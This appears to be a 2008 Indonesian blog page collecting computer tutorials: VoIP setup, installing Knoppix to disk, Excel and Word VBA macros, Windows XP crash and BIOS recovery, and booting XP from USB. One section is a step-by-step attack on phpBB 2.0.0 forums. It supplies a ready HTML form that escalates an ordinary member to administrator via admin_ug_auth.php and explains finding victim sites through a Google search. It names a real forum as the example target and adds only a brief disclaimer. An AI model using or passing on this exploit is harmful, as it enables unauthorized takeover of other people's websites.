Social Icons

Pages

Sabtu, 26 Juli 2008

Cara Menggunakan VoIP Rakyat

VoIP (Voice over Internet Protocol ) adalah teknologi yang mampu melewatkan trafik suara, video dan data yang berbentuk paket melalui jaringan IP.

Keunggulan VoIP adalah :
• Biaya komunikasi yang relatif murah.
• Mudah dalam penggunaannya.
• Jaringan komunikasi yang telah tersebar luas di Luar Negeri.
• Sudah banyak yang menggunakannya.

Kekurangan VoIP adalah :
Kualitas suara tergantung pada server VoIP yang digunakan, Bandwidth atau kecepatan akses internetnya.

Buka Internet Explorer atau mesin pencari lainnya.
Browse di http://www.voiprakyat.or.id

Klik Register (free!), untuk mendapatkan Username, Password dan Nomor telepon VoIP

Download Softphone iaxlite di http://www.iaxtalk.com
Pilih program iaxLite “Softphone for AU-100”

Install dan Jalankan Iaxlite
• Pada menu Register isikan :
• Server Address : Voiprakyat.or.id (misal)
• Account Code : 26427 (misal)
• Password : *************** (isikan dengan password anda)
• Klik OK untuk menyelasaikan konfigurasi Account

Menggunakan Iaxlite
• Klik no tujuan yang akan kita hubungi
• Klik Dial & Ans untuk menghubungi
• Klik Online Phones untuk melihat daftar nama dan nomor VoIP yang sedang Online.

Terima Kasih dan Selamat Mencoba


By ADRY-Z

Lanjutannya...

Cara Meng-copy KNOPPIX ke Harddisk

Menjalankan Linux langsung dari CD memang mudah dan aman, karena tidak perlu menyiapkan partisi harddisk. Namun, kecepatan komputer mengakses CD masih jauh lebih lambat dari harddisk, belum lagi kalau drive CD sudah kuno atau kotor. Jika Anda ingin menggunakan Knoppix untuk bekerja sehari-hari, sebaiknya seluruh file Knoppix yang sedang berjalan dicopy ke harddisk. Berikut ini langkah-langkahnya:

1. Sebelum meng-copy KNOPPIX 3.2 ke harddisk, siapkan dua buah partisi harddisk. Pertama, ukurannya lebih dari 2GB untuk menyimpan sistem Knoppix, kedua sekitar 256MB untuk Swap (virtual memori). Jika Anda tidak memiliki program pemartisi, gunakan perintah fdisk yang ada di Knoppix.
============================

fdisk /dev/hda
p (untuk melihat susunan partisiyang telah ada)
n (membuat partisi baru)
l (partisi baru di bawah partisi extended) atau p (partisi baru primary)
[enter] atau tentukan titik awal pembuatan partisi
[enter] atau tentukan titik akhir partisi
p (lihat sekali lagi susunan partisi, apakah Anda yakin?)
q (membatalkan partisi tanpa menyimpan)
wq (susunan partisi baru disimpan)

============================

2. Jalankan KNOPPIX dari CD tanpa X Window, yaitu memilih opsi init 1 atau 2 (pada saat pertama muncul prompt boot:). Boleh juga kerja di X Window dengan opsi screen sesuai kemampuan kartu VGA dan monitor Anda, dengan syarat Anda telah membuat password root melalui konsol (Tekan Alt+Ctrl+F1, lalu Enter, dan ubah password root dengan perintah passwd).
boot: knoppix 2
boot: knoppix screen=800x600
3. Mount partisi yang telah disiapkanuntuk sistem, misalnya ke /mnt/knoppix.
mount /dev/hda9 /mnt/konppix
4. Copy semua file di bawah direktori /KNOPPIX ke direktori /mnt/knoppix, dan tunggu hingga proses pengcopyan ini selesai.
cp -a /KNOPPIX/* /mnt/knoppix
5. Edit file /mnt/knoppix/etc/fstab, dengan menambahkan pada baris pertama, milsanya dengan vi atau perintah echo dan redirect (>) sebagai berikut:
echo “/dev/hda9 / ext3 defaults 1 1” > /
mnt/knoppix/etc/fstab
cat /etc/fstab >> /mnt/knoppix/etc/
fstab
6. Edit file /mnt/knoppix/etc/lilo.conf (dengan vi atau langsung membuat baru dengan perintah cat).
cat > /mnt/knoppix/etc/lilo.conf
lba32
boot=/dev/hda
install=/mnt/knoppix/boot/boot-menu.b
map=/mnt/knoppix/boot/map
prompt
timeout=100
vga=normal
image=/mnt/knoppix/boot/vmlinuz
append=”lang=en”
root=/dev/hda9
label=Knoppix
read-write
^D

7. Aktifkan “lilo”. Jika tidak pesan kesalahan, berarti Knoppix Anda sudah dapat di-boot dari harddisk.
lilo -C /mnt/knoppix/etc/lilo.conf
8. Buat direktori home untuk user knoppix dan ubah kepemilikannya untuk user knoppix.
mkdir /mnt/knoppix/home/knoppix
chwon knoppix.knoppix /mnt/knoppix/
home/knoppix
9. Reboot komputer Anda dari harddisk (keluarkan CD Knoppix).
Reboot

Tersedia juga program untuk meng-copy KNOPPIX ke harddisk, yakni knx-hdinstall, yang dapat dijalankan dari shell/ prompt root. Namun, Anda harus sangat hati-hati menggunakannya karena program ini masih dalam pengembangan.

Menyimpan file konfigurasi
Anda masih bertahan dengan Live-CD? No problem. Meskipun KNOPPIX tidak didesain untuk bekerja di harddisk, Anda tetap bisa menyimpan dan mengaktifkan file-file konfigurasi agar tidak hilang pada saat reboot.

1. Klik star menu (K), tarik mouse ke KNOPPIX – Configure – Save KNOPPIX configuration.
2. Pilih tipe file-file konfigurasi yang akan disimpan. Tandai semua pilihan, lalu OK.
3. Pilih tempat menyimpan file konfigurasi. Klik /mnt/hda1 bila Anda ingin menyimpan di partisi Windows (/dev/hda1), lalu OK.
4. Untuk mengaktifkannya, Anda harus mengetikkan salah satu baris ini pada saat boot:
knoppix myconfig=/mnt/hda1
knoppix myconfig=scan
(Knoppix akan melakukan scan atau pencarian file konfigurasi secara otomatis).


By ADRY-Z


Lanjutannya...

Jumat, 25 Juli 2008

Teknik Menjebol “Forum phpBB 2.0.0”

Di dalam forum phpBB 2.0.0 file admin_ug_auth.php digunakan untuk mengatur permission dari seorang anggota termasuk admin forum tersebut. Error scripting yang terdapat pada file admin_ug_auth.php memungkinkan seorang user biasa/member mampu mengeskalasi/ memindahkan aksesnya menjadi setara administrator hanya dengan bantuan file HTML dan Internet Explorer. Sekarang buatlah satu file HTML dengan nama xphpbb.htm dengan source HTML seperti di bawah ini:

====================
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;
charset=windows-1252">
<title></title>
</head>
<body>
<form method="post"
action="http://www.nameforum.com/phpBB/admin/admin_ug_aut
h.php">
<p>User Level : <select name="userlevel">
<option value="admin"
selected="selected">Administrator</option>
<option value="user">User</option>
</select></p>
<input type="hidden" name="private[1]" value="0" />
<input type="hidden" name="moderator[1]" value="0" />
<input type="hidden" name="mode" value="user" />
<input type="hidden" name="adv" value="" />
User ID: <input type="text" name="u" size="5"> <BR>
<input type="submit" name="submit" value="Submit"
class="mainoption" />
<input type="reset" value="Reset" class="liteoption"
name="reset" />
</form>
</body>
</html>
====================
Selanjutnya cari situs yang memiliki forum phpBB 2.0.0 dengan menggunakan Google.com dengan keyword “Powered by phpBB 2.0.0,”.
Klik link dari target yang anda pilih dan pastikan bahwa versi forum phpBB tersebut adalah phpBB 2.0.0. Sekarang daftarkan diri anda sebagai member dengan mengklik link Register di forum tersebut. Isikan data Username, Email Address dan Password login sesuai keinginan anda. Untuk email pastikan anda menggunakan email asli, kadang beberapa forum phpBB dengan versi yang sama membutuhkan konfirmasi dengan mengirimkan kode aktivasi melalui email anda.

Sekarang taruh mouse Anda di atas link username yang Anda daftar, akan nampak di status Internet Explorer menampilkan alamat link seperti contoh berikut:
‘http://forums.casterclub.com/profile.php?mode=viewprofile&u=182’

Dari status yang ditampilkan di Internet Explorer kita bisa mengetahui bahwa nomor keanggotaan kita adalah 182 (u=182, User ID=182). Setelah mengetahui nomor keanggotaan kita, sekarang editlah file xphpbb.htm yang telah kita buat sebelumnya dengan Notepad kemudian ganti action forum-nya seperti di bawah ini:


Sebelumnya :
====================
<form method="post"action="http://www.nameforum.com/phpBB/admin/admin_ug_auth.php">
====================
Ganti dengan :
====================
<form method="post"action="http://forums.casterclub.com/admin/admin_ug_auth.php">
====================
Pastikan anda tidak salah menempatkan link actionnya. Beberapa forum menggunakan link forum yang berbeda misalnya seperti ini:
====================
http://www.myforum.com/phpBB2/index.php
====================
Jika anda menemukan hal seperti di atas maka sesuaikan actionnya sesuai link forum, contoh:
====================
<form method="post"action="http://www.myforum.com/phpBB2/admin/admin_ug_auth.php">
====================

Selanjutnya save xphpbb.htm yang telah diedit dan buka dengan menggunakan Internet Explorer.
Isi text box User ID dengan nomor keanggotaan kita, misalnya sesuai contoh di atas nomor keanggotaannya adalah 182. Selanjutnya tekan Submit.
Jika proses yang anda lakukan berjalan lancar, maka anda akan masuk di Panel Administrator Forum.

Jika telah berhasil masuk di Panel Administrator tersebut maka selamat anda telah berhasil menjadi Administrator forum. Untuk membuktikan bahwa Anda telah menjadi Administrator, klik link Configuration di bagian General Admin (menu sebelah kiri).

Demikianlah cara penjebolan forum phpBB versi 2.0.0. Semoga anda tidak memanfaatkan info yang anda serap dari artikel ini untuk melakukan tindakan yang merusak situs orang lain. Bekerjasamalah dengan Admin situs tersebut dengan memberikan informasi dan bantuan.

By ADRY-Z

Lanjutannya...

Membuat Add In Terbilang Untuk Microsoft Excel

Langkah pertama yang perlu dilakukan adalah membuat modul, caranya :
1. Buka Microsoft Excel Anda
2. Klik Pada Menu Tools – Macro – Visual Basic Editor (Alt+F11)
3. Setelah tampil jendela Visual Basic Editor, langkah selanjutnya adalahmenambahkan module baru dengan cara Klik menu Insert – Module
4. Masukkan fungsi terbilang berikut kedalam module1

=================
Public Function terbilang(x As Currency)
Dim triliun As Currency
Dim milyar As Currency
Dim juta As Currency
Dim ribu As Currency
Dim satu As Currency
Dim sen As Currency
Dim baca As String
'Jika x adalah 0, maka dibaca sebagai 0
If x = 0 Then
baca = angka(0, 1)
Else
'Pisah masing-masing bagian untuk triliun, milyar, juta, ribu, rupiah, dan
sen
triliun = Int(x * 0.001 ^ 4)
milyar = Int((x - triliun * 1000 ^ 4) * 0.001 ^ 3)
juta = Int((x - triliun * 1000 ^ 4 - milyar * 1000 ^ 3) / 1000 ^ 2)
ribu = Int((x - triliun * 1000 ^ 4 - milyar * 1000 ^ 3 - juta * 1000 ^ 2) /
1000)
satu = Int(x - triliun * 1000 ^ 4 - milyar * 1000 ^ 3 - juta * 1000 ^ 2 -
ribu * 1000)
sen = Int((x - Int(x)) * 100)
'Baca bagian triliun dan ditambah akhiran triliun
If triliun > 0 Then
baca = ratus(triliun, 5) + "triliun "
End If
'Baca bagian milyar dan ditambah akhiran milyar
If milyar > 0 Then
baca = ratus(milyar, 4) + "milyar "
End If
'Baca bagian juta dan ditambah akhiran juta
If juta > 0 Then
baca = baca + ratus(juta, 3) + "juta "
End If
'Baca bagian ribu dan ditambah akhiran ribu
If ribu > 0 Then
baca = baca + ratus(ribu, 2) + "ribu "
End If
'Baca bagian satuan
If satu > 0 Then
baca = baca + ratus(satu, 1) + "rupiah "
else
baca = baca + "rupiah "
End If
'Baca bagian sen dan ditambah akhiran sen
If sen > 0 Then
baca = baca + ratus(sen, 0) + "sen"
End If
End If
terbilang = UCase(Left(baca, 1)) & LCase(Mid(baca, 2))
End Function
Function ratus(x As Currency, posisi As Integer) As String
Dim a100 As Integer, a10 As Integer, a1 As Integer
Dim baca As String
a100 = Int(x * 0.01)
a10 = Int((x - a100 * 100) * 0.1)
a1 = Int(x - a100 * 100 - a10 * 10)
'Baca Bagian Ratus
If a100 = 1 Then
baca = "Seratus "
Else
If a100 > 0 Then
baca = angka(a100, 2) + "ratus "
End If
End If
'Baca Bagian Puluh dan Satuan
If a10 = 1 Then
baca = baca + angka(a10 * 10 + a1, 2)
Else
If a10 > 0 Then
baca = baca + angka(a10, 2) + "puluh "
End If
If a1 > 0 Then
If posisi = 2 And a100 = 0 And a10 = 0 Then
baca = baca + angka(a1, 1)
Else
baca = baca + angka(a1, 2)
End If
End If
End If
ratus = baca
End Function
Function angka(x As Integer, posisi As Integer)
Select Case x
Case 0: angka = "Nol"
Case 1:
If posisi = 2 Then
angka = "Satu "
Else
angka = "Se"
End If
Case 2: angka = "Dua "
Case 3: angka = "Tiga "
Case 4: angka = "Empat "
Case 5: angka = "Lima "
Case 6: angka = "Enam "
Case 7: angka = "Tujuh "
Case 8: angka = "Delapan "
Case 9: angka = "Sembilan "
Case 10: angka = "Sepuluh "
Case 11: angka = "Sebelas "
Case 12: angka = "Dua belas "
Case 13: angka = "Tiga belas "
Case 14: angka = "Empat belas "
Case 15: angka = "Lima belas "
Case 16: angka = "Enam belas "
Case 17: angka = "Tujuh belas "
Case 18: angka = "Delapan belas "
Case 19: angka = "Sembilan belas "
End Select
End Function
=================
5. Sampai disini proses sudah setengah jadi, pindahkan jendela aktif lembar kerja excel, coba anda tuliskan pada cell B2 dengan 1000 dan pada cell B3 tuliskan dengan =terbilang(B2), apa yang terjadi?, kalau pada cell B3 tampil Seribu rupiah, anda boleh melanjutkan ke langkah berikutnya, tapi kalau tampil #NAME,#VALUE atau yang lain selain Seribu rupiah anda harus perbaiki fungsi terbilang anda pada Module1 terlebih dahulu.

Membuat deskripsi dan mengamankan kode anda
Langkah selanjutnya adalah memberi deskripsi dan mengamankan kode VBA anda, langkahnya adalah sebagai berikut:
1. Pada lembar kerja Excel anda, klik menu Tools – Macros
2. Ketikkan nama fungsi terbilang anda dan pastikan tombol Option menjadi enable (menyala), kalau tidak, bisa dipastikan anda salah menuliskan nama fungsi terbilangnya.
3. Klik Option, dan ketikkan Deskripsi fungsi terbilang anda dalam kotak Description. Akhiri proses dengan klik tombol OK dan berikutnya Klik Tombol Cancel untuk menutup Macro dialog.
4. Untuk memberi password kode VBA anda, pindahkan jendela aktif ke jendela Visual Basic, Klik kanan pada VBAProject (Book1) – pilih VBAProject Properties, selanjutnya akan ditampilkan dialog VBAProject Properties , aktifkan Tab protection, masukkan password pada kotak password dan konfirmasi pada kotak Confirm Password. Jika anda bermaksud mendistribusikan Add Ins anda secara gratis dan untuk tujuan pembelajaran, sebaiknya tidak perlu dipassword, karena penerima Add Ins anda akan lebih mudah mempelajari kode anda.

Membuat Add Ins
Setelah semua langkah kita lakukan, selanjutnya adalah proses packing Add In, adapun langkahnya adalah sebagai berikut.
1. Tutup Visual basic Editor anda. Simpan Dokumen excel anda dengan klik menu File – Save As.
2. Ubah Save As Type menjadi Microsoft Excel Add In (*.xla), dan spesifikasikan tempat penyimpanannya.
3. Beri nama bebas, misal adry-z-terbilang.xla dan tutup dokumen excel anda boleh disimpan boleh tidak.
Pembuatan Add In telah selesai, dan anda bisa mendistribusikan file adry-zterbilang.xla untuk teman anda atau siapa saja yang membutukan. Apakah pekerjaan sudah selesai? Belum, kita lanjutkan ke pekerjaan terakhir.

Menginstall Add In
Setelah kita membuat, selanjutnya adalah menginstall Add In yang sudah kita buat pada Microsoft Excel kita atau teman anda. Langkahnya sebagai berikut:
1. Siapkan File Add In (adry-z-terbilang.xla)
2. Buka Microsoft Excel anda, Klik Menu Tools – Add Ins
3. Klik Browse dan arahkan ke tempat penyimpanan file Add In Anda (adry-zterbilang.xla) dan klik OK
4. Pastikan adry-zterbilang tampil dalam list dan dalam kondisi aktif ()
5. Nah… pekerjaan telah selesai, dan sekarang anda bisa menggunakan fungsi terbilang di cell manapun dan file manapun (selama Add In aktif tentunya )

Created By ADRY-Z

Lanjutannya...

Membuat Makro untuk WordCount di Microsoft Word

Fasilitas Wordcount biasanya digunakan untuk mengetahui jumlah kata, karakter, kalimat, paragraf, dan halaman yang terdapat dalam satu dokumen. Fasilitas ini dapat Anda aktifkan dari menu "Tools". Namun, fasilitas ini biasanya digunakan pada dokumen yang telah jadi atau pada dokumen yang sedang Anda edit. Jadi, Anda harus mengetikkan kata atau kalimatnya terlebih dahulu, baru Anda dapat mengetahui berapa jumlah kata atau kalimat tadi melalui Wordcount. Apabila Anda diberi tugas membuat dokumen dengan jumlah kata yang telah ditentukan, tampaknya dengan cara ini Anda akan sedikit kerepotan. Apabila kata-kata yang Anda ketik ternyata lebih dari yang disyaratkan, tentunya Anda harus memotong beberapa kata.

Untuk melakukannya, buka Microsoft Word dari menu "Start" lalu buat dokumen baru. Selanjutnya, buka "Visual Basic Editor" dari menu "Tools | Macro". Dari program Visual Basic Editor inilah Anda dapat membuat makro untuk masalah tadi. Caranya, klik "Insert | Module" dan salin listing makro berikut:
=============================
Sub WordCount()
Set myBar = CommandBars("Formatting")
Set myControls = myBar.Controls
NumButtons = myControls.Count
ButtonLoc = 0
For J = 1 To NumButtons
If myControls(J).Type = msoControlButton Then
ButtonName$ = myControls(J).OnAction
If ButtonName$ = "WordCounter" Then ButtonLoc = J
End If
Next J
If ButtonLoc = 0 Then
ButtonLoc = NumButtons + 1
Set newControl = myControls.Add(Type:=msoControlButton)
newControl.OnAction = "WordCounter"
newControl.Style = msoButtonCaption
End If
Set myRange = ActiveDocument.Content
WdCount = myRange.ReadabilityStatistics(1).Value
With myControls(ButtonLoc)
.Caption = WdCount
End With
Application.OnTime When:=Now + TimeSerial(0, 0, 5), Name:="WordCounter"
End Sub
=============================

Setelah listing tersalin dengan rapi, jalankan perintah "Debug | CompileProject". Jika sudah, tutup program registry editor untuk kembali ke lembar kerja. Kini, Anda dapat memasukkan satu tombol khusus ke dalam menubar untuk mempermudah penggunaan makro yang Anda buat ini. Buka saja "Tools | Macro | Macros". Di dalam jendela "Macros" yang terbuka, klik pilihan "WordCount" dan tekan tombol "Organizer". Di dalam jendela "Organizer", aktifkan tab "Macro Project Item" dan copy "Module1" yang berada di bagian kiri ke bagian "In Normal. dot" yang berada di kanannya. Setelah selesai, tutup dengan mengklik "OK".

Langkah selanjutnya, Anda harus membuka "Customize" dari menu "Tools". Di dalam jendela "Customize", aktifkan tab "Commands" dan pilih "Macros" yang berada di bagian "Categories". Di bagian kanannya, yaitu di bagian "Command", drag "Normal.Module1. WordCount" ke bagian menubar yang masih kosong. Klik kanan tombol baru tersebut dan ubah namanya menjadi "WordCount" saja. Anda juga bisa menambahkan icon di sampingnya melalui "Change Button Image". Terakhir, tutup dengan mengklik "OK" untuk kembali ke lembar kerja.

Sekarang, Anda dapat mencobanya dengan membuat satu dokumen baru. Mulailah mengetik di dalamnya dan lihat di bagian akhir "Formatting Toolbar". Informasi mengenai jumlah kata yang Anda ketik dapat Anda ketahui dari sini. Informasi ini akan terus meng-update dirinya sampai Anda berhenti mengetik.


By ADRY-Z

Lanjutannya...

Cara Darurat Mengembalikan Windows XP Yang CRASH

Windows Anda tidak mau dijalankan atau tidak berfungsi dengan lancar? Tak usah panik. Sebelum mengirim PC Anda ke tempat reparasi, cobalah untuk mengatasinya sendiri.

Bila Windows sejak awal menolak bekerja, periksa apakah ada kerusakan hardware atau tidak Setelah diperiksa, baru Anda dapat menghidupkan kembali sistem operasi.

Bila PC terus hang dengan laporan 'Verifying DMI Pool Data', berarti ada masalah dengan boot sektor hard disk. Periksa apakah hard disknya itu sendiri bermasalah atau tidak. Bila dari sisi hardware tak ada masalah, kemungkinan sumbernya hanya pada boot sektor. Boot dari CD Setup Windows XP dan jalankan ‘Restore-Console’. Lalu masukkan perintah berikut. ‘fixmbr’ Windows akan mereparasi MBR yang sangat penting. Dengan cara ini, biasanya Windows akan kembali berfungsi.

Bila belum berhasil, jalankan kembali Restore-Console dan kali ini masukkan perintah berikut.
‘fixboot•c:’ Sesuaikan huruf drive-nya jika Windows XP Anda berada di partisi selain 'C:\'. Perintah di atas akan memperbarui boot sektor sebenarnya yang berisi file-file start untuk Windows.

Untuk mulai bekerja, Windows XP membutuhkan file 'ntdetect.com', 'ntldr.exe', dan 'boot.ini'. Jika salah satu file ini rusak atau terhapus, saat start Anda akan mendapat laporan 'File boot.ini cacat' atau 'NTLDR tidak ada atau rusak'. Dengan CD Windows Anda dapat memulihkan file-file tersebut dengan cepat. Untuk me-restore 'boot.ini' jalankan Restore-Console dan masukkan perintah berikut.
‘bootcfg/rebuild’
Kedua file lainnya tidak dapat direparasi. Oleh karena itu, copy saja dari CD Windows ke direktori utama partisi XP.Misalnya untuk mengcopy file 'ntldr.exe' dari drive CD 'D:\' ke partisi Windows di 'C:\', masukkan perintah berikut ke dalam konsol. ‘copy d:\i386\ntldr c:\ ’ Dengan cara yang sama, copy juga file 'ntdetect.com'. Sekarang Anda dapat merestart Windows.

Bila Windows hang pada layar pembuka, seringkali penyebabnya adalah masalah driver. Untuk mengetahui apakah driver sistem Windows atau driver perangkat buatan produsen lain yang menjadi masalah, jalankan Windows dalam Safe-Mode. Dalam Safe-Mode ini Windows akan membuat sebuah file log bernama 'ntbtlog.txt' dalam direktori Windows. Di sana tercantum semua driver yang dijalankan pada saat start. Dalam Safe-Mode hanya driver sistem penting yang akan dijalankan. Jika driver sistem ini tidak dapat dijalankan, Anda harus segera mengganti file-file yang diperlukan. Sediakan CD Windows dan masukkan perintah berikut pada command-prompt. ‘sfc /scannow’ Perintah ini akan mengganti driver yang rusak dengan file aslinya dari CD Windows.

Driver yang tidak penting bagi Windows tidak akan dijalankan dalam Safe-Mode. Untuk memeriksa driver apa saja yang dijalankan Windows, pilih 'Enable Boot Logging' dalam 'Windows Advanced Option Menu' yang muncul jika Anda menekan [F8] saat booting.Windows akan dijalankan seperti biasa dengan membuat file log. Semua driver yang dijalankan hingga desktop muncul akan dicantumkan dalam file 'ntbtlog.txt'. Driver dengan catatan 'Did not load driver' berpotensi sebagai sumber kesalahan. Dengan Windows Explorer, temukan file driver berakhiran '.sys' yang dicantumkan
dalam file log. Klik kanan file ini dan pilih 'Properties'. Di sini akan Anda temukan keterangan mengenai produsen atau perangkat yang mengakses driver tersebut. Matikan komponen ini dalam Device-Manager dan restart Windows. Bila Windows dapat bekerja tanpa masalah, berarti Anda telah menemukan sumber kesalahannya. Install ulang atau update driver yang bermasalah ini.

Bila Windows selalu crash ketika Anda menjalankan aplikasi yang membebani resource seperti game 3D, kemungkinan sebuah driver tidak mampu menanggung beban tersebut. Untuk mensimulasikan minimnya resource sistem (yang berarti adanya beban tinggi pada sistem), klik 'Start | Run' dan jalankan Driver Verifier Manager dengan perintah berikut. ‘verifier’ Pilih 'Create custom settings'. Dalam jendela berikutnya, pilih 'Enable predefined settings', 'Standard settings', dan 'Low resource simulation'. Bila Anda mencurigai driver tertentu, dalam jendela berikutnya pilih 'Select driver names from a list' dan beri tanda driver tersebut. Jika Anda tidak tahu driver mana yang mencurigakan, pilih 'Automatically select unsigned driver'. Alasannya, driver bersertifikat (signed) sudah diperiksa oleh Microsoft sehingga kemungkinan besar bukan merupakan sumber kesalahan. Klik 'Finish' untuk menutup wizard. Restart Windows untuk mulai menjalankan pemeriksaan. Jika salah satu driver gugur dalam tes beban, Anda akan mendapatkan blue-screen yang menampilkan nama driver tersebut (bila beruntung).

Melacak Komponen yang Kepanasan
Bila sebuah kipas rusak atau tuntutan pada hardware terlalu besar, usia komponen akan semakin pendek dan sistem juga berpotensi untuk crash terus menerus. Oleh karena itu, periksa secara teratur suhu hard disk, mainboard, dan CPU.

Bila Windows crash tanpa memberikan laporan kesalahan dan driver serta kelebihan panas bukan penyebabnya, kemungkinan RAM yang rusak.

Bila PC Anda langsung restart setelah di-shutdown, kemungkinan kesalahan ada pada salah satu setting dalam BIOS. Cari entri-entri seperti 'Wake on LAN', 'Wake on Ring', atau 'Wake up by keyboard' dalam BIOS dan matikan (disable) pilihan yang tidak Anda inginkan.

BIOS tidak mengenali hard disk,tetapi motor hard disk berputar.
Penyebab: Setting jumper salah, kabel IDE tidak terpasang dengan benar.
Solusi: Bila menggunakan beberapa harddisk / CD Drive, hard disk Windows harus dipilih sebagai 'Master'. Ini dilakukan dengan perantaraan jumper. Cara mengatur jumper yang benar biasanya tercantum pada stikerdi badan hard disk. Pada perangkat baru sering tercantum keterangan 'Device 0' (Master) dan 'Device 1' (Slave). Bila BIOS masih belum mengenali hard disk, periksa apakah semua koneksi IDE telah terpasang dengan benar atau tidak.

Tidak ada tanda-tanda kehidupan, kipas power-supply tidak berfungsi, lampu-lampu kontrol di depan juga tidak menyala.
Penyebab: Tidak ada pasokan listrik, kabel atau power-supply mungkin rusak.
Solusi: Periksa apakah kabel power-supply terpasang dengan benar dan power-supply hidup atau tidak. Bila mungkin, coba pada stopkontak lain. Bila tidak membantu, power-supply harus diganti.

PC mengeluarkan serangkaian bunyi beep, BIOS tidak bisa ditampilkan.
Penyebab: Biasanya ada masalah dengan graphic-card atau RAM
Solusi: Bila pada Award-BIOS terdengar bunyi beep panjang sekali dan pendek 2 kali, berarti graphic-card tidak duduk dengan benar dalam slot atau rusak.

Lampu hard disk terus menyala, PC tidak bisa di-boot.
Penyebab: Kesalahan pada kabel data E-IDE atau P-ATA.
Solusi: Periksa terlebih dulu apakah kabel telah terpasang dengan benar pada mainboard dan hard disk. Bila tidak membantu, Anda perlu mengganti kabel.

PC hanya kadang-kadang bisa distart, Windows seringkali crash pada game 3D dan aplikasi yang hardwareintensive.
Penyebab: Penyaluran panas yang buruk antara prosesor dan pendingin atau pendinginan CPU tidak memadai.
Solusi: Perbarui pasta atau pad penghantar panas. Di sini perlu Anda perhatikan agar tidak ada sisa pasta lama yang tertinggal pada chip. Bila tidak membantu, dibutuhkan pendinginan yang lebih baik terutama pada CPU yang di-overclock.

Hard disk kadang-kadang berhenti berfungsi dan menimbulkan bunyi 'klak-klak'. Setelah masuk ke Windows, sering muncul laporan blue-screen.
Penyebab: Usia hard disk sudah lewat, cacat fisik serius.
Solusi: Backup segera hard disk Anda dan segera beli sebuah hard disk baru.

Pada tampilan video di layar monitor muncul bercak-bercak (artefak) meskipun telah menginstalasikan driver terbaru.
Penyebab: Graphic-card kepanasan.
Solusi: Periksa kipas graphic-card. Bila perlu, turunkan clock-speed graphic-card dengan tool Powerstrip. Bila artefak hilang, berarti pendinginan terlalu lemah.

Created By ADRY-Z
Lanjutannya...

Apa Yang Harus Dilakukan Bila GagalMeng Update BIOS?

Apakah anda pernah mengupdate BIOS Motherboard namun gagal karena mati lampu atau versi bios tidak sesuai, dll ? Setelah gagal meng-update BIOS, PC tidak lagi dapat dijalankan. Layar tetap gelap.
Berikut adalah cara mengatasinya :

AMI-BIOS:
Ganti nama backup BIOS asli pada disket menjadi 'AMIBOOT-ROM'. Masukkan disket ke dalam drive pada PC yang bermasalah. Restart PC. Selama proses restart ini, tahan [Ctrl]+[Home] agar BIOS-update dijalankan dengan bantuan backup-copy yang namanya tadi telah diganti.

Award-BIOS:
Buat file 'Autoexec.bat' dengan Notepad pada disket yang berisi backup BIOS. Tuliskan perintah berikut. “Flashprogram.exe BIOS.bin /py /sn”
Ganti 'Flashprogram' dengan nama flashtool yang digunakan dan 'BIOS.bin' dengan nama file backup BIOS, misalnya 'oldbios.bin'. Parameter '/py' berfungsi untuk melakukan pemrograman ulang chip BIOS tanpa meminta konfirmasi dari pengguna. Parameter '/sn' mencegah pembuatan backup-copy baru yang tidak diperlukan karena Anda telah memiliki salinan yang benar di disket.

Tidak memiliki backup BIOS? Terpaksa Anda harus membeli chip BIOS baru. Untuk membeli chip BIOS dibutuhkan keterangan rinci mengenai mainboard. Sebelumnya, coba untuk menggunakan BIOS versi sebelumnya yang dapat di-download di website produsen mainboard Anda.


Created By ADRY-Z


Lanjutannya...

Jalankan Windows XP dari USB Flash Disk

Langkah-langkahnya :

Oleh karena banyak versi BIOS yang hanya menerima USB flash drive dengan sistem file FAT16 sebagai media boot, formatlah USB flash drive Anda dengan sistem tersebut. Apabila Anda memformatnya dengan fasilitas format dari Windows, flash drive tidak berfungsi. Atasi masalah tersebut dengan tool 'USB Disk Storage Format Tool' dari Hewlett Packard. Jalankan tool ini dan pilih USB flash drive Anda di bawah ‘Device’. Pilih juga ‘FAT’ di bawah ‘File System’ dan berikan nama di bawah 'Volume Label' (jangan lebih dari 11 karakter). Klik ‘Start’ untuk memulai format. Setelah proses selesai, jalankan Windows Explorer dan arahkan ke folder utama partisi Windows, misalnya ‘C:\’.Dari sini, copy file-file ‘boot.ini’, ‘ntldr’, dan ‘NTDETECT.COM’ ke USB flash drive.
Apabila file tersebut tidak terlihat, nonaktifkan option “Hide protected operating system files” di bawah “Tools | Folder Options | View”. Selanjutnya, pilih option ‘Show hidden files and folders’ di bawah ‘Hidden files and folders’. Kini, file-file tersebut telah terlihat dan Anda dapat mengcopynya ke USB flash drive.

Untuk membuat sebuah Windows XP optimal, lengkap dengan SP, hotfix,dan drivers, diperlukan freeware ‘nLite’. Untuk meng-install-nya, diperlu-kan library .NET yang ada dalam paket Microsoft .NET Framework terbaru. Framework dan SP2 dapat Anda download dari website Microsoft. Sedangkan Hotfix (update setelah SP2) XP terbaru untuk nLite dapat Anda peroleh dari informasi yang
ada di website www.nliteos.com. SP dan hotfix tidak perlu Anda install karena nLite hanya membutuhkan file-file setupnya saja untuk dapat diintegrasikan. Sebagai langkah awal, install dahulu .NET-Framework, baru kemudian nLite. Sebelum Anda men-start tool, buat sebuah folder dengan nama ‘XP’ pada desktop.

Masukkan CD instalasi Windows ke dalam DVD/CD drive dan copy seluruh isinya ke folder baru tersebut. Kini jalankan nLite dengan memilih direktori (folder) sumbernya, yaitu ‘XP’. Klik ‘Next’ setelah folder selesai dibaca hingga tampil bagian ‘Task Selection’. Aktifkan option-option untuk mengintegrasikan SP dan hotfix serta option ‘Remove Components’, ‘Patches’, dan ‘Tweaks’. Dengan bantuan wizard, lanjutkan dengan membuat Windows sesuai kebutuhan Anda. Untuk memperkecil ukuran Windows, Anda hanya boleh menyingkirkan entri-entri yang ditampilkan dalam teks berwarna hitam. Apabila tidak,Windows versi ramping Anda mungkin akan gagal di-start.

Apabila Anda ingin menggunakan Firefox, jangan gunakan file instalasi dari website Mozilla, tetapi gunakan ‘Mozilla Firefox Plug-In' yang khusus dikembangkan untuk Bart’s PE dari http://oss.netfarm.it/winpe. Untuk membuat Windows bootable yang ‘siap pakai’, dibutuhkan tool gratis ‘Bart's PE’ dari www.nu2.nu

